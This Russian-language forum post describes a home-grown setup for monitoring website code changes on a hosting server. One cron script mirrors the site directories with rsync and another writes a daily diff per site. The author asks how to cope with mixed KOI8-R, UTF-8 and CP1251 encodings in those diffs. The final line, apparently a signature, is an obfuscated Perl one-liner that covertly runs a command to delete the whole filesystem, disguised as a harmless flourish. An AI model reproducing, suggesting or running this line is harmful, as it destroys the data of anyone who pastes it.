
Давненько все хотел что-то подобное сделать. Хостинг, диры с сайтами, два скрипта. Один делает синхронизацию всех дир хостинга. Синхронизация с возможностью удаления файлов в зеркале, если файл был удален в источнике и второй момент файлы изменяемые в источнике, не должны записываться в зеркало. Т.е. зеркало - это как бы отправная точка для учета всех последующих изменений файлов. Все это не сложно делается с помощью rsync.
Второй скрипт делает diff папок зеркала источника, с записью в файлы формата имя_сайта.diff, так по каждому сайту, например 10 сайтов 10 diff файлов соответственно. Скрипты в крон, в 1:00 (утра) текущего дня выполняем синхронизацию, в 23:00 текущего дня получаем diff и того видим код, который менялся за день. В последующие дни будет формироваться накопительный патч. Возможно сделаю rsync замену изменяемых файлов в зеркале раз в сутки, тогда патчи будут не накопительные, а только изменения за день.
Все работает, возможно некоторые вещи пересмотрю еще, если есть дельные советы с удовольствием выслушаю. Пока решаю накопительный патч или за день.
Вопрос в следующем, при получении так называемого мега патча diff со всех файлов сайта, внутри получается каша из кодировок. Системная кодировка KOI8-R, часть файлов сайтов в UTF-8, часть в CP1251. По сути пока не заморачиваюсь, т.к. русские буквы не так важны, важно в первую очередь видеть код, который менялся, в каких файлах и строках были изменения. Но кто и как попробовал бы решить эту проблему

? Например мне на ум приходит использование утилиты file для получения сведений кодировок, потом iconv. Да, скрипт получает diff-ы с 18 Gb файлов

достаточно долго, но операция проходит ночью, так что приемлемо.
p.s. систему SVN и прочие не предлагать, вся разработка ведется программистом on-line на нескольких серверах, да и это идет в разрез с уже сложившимися традициями программирования веб программиста

, да и руководству главное скорость. Поэтому контроль веду я, таким вот лисипедным образом.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'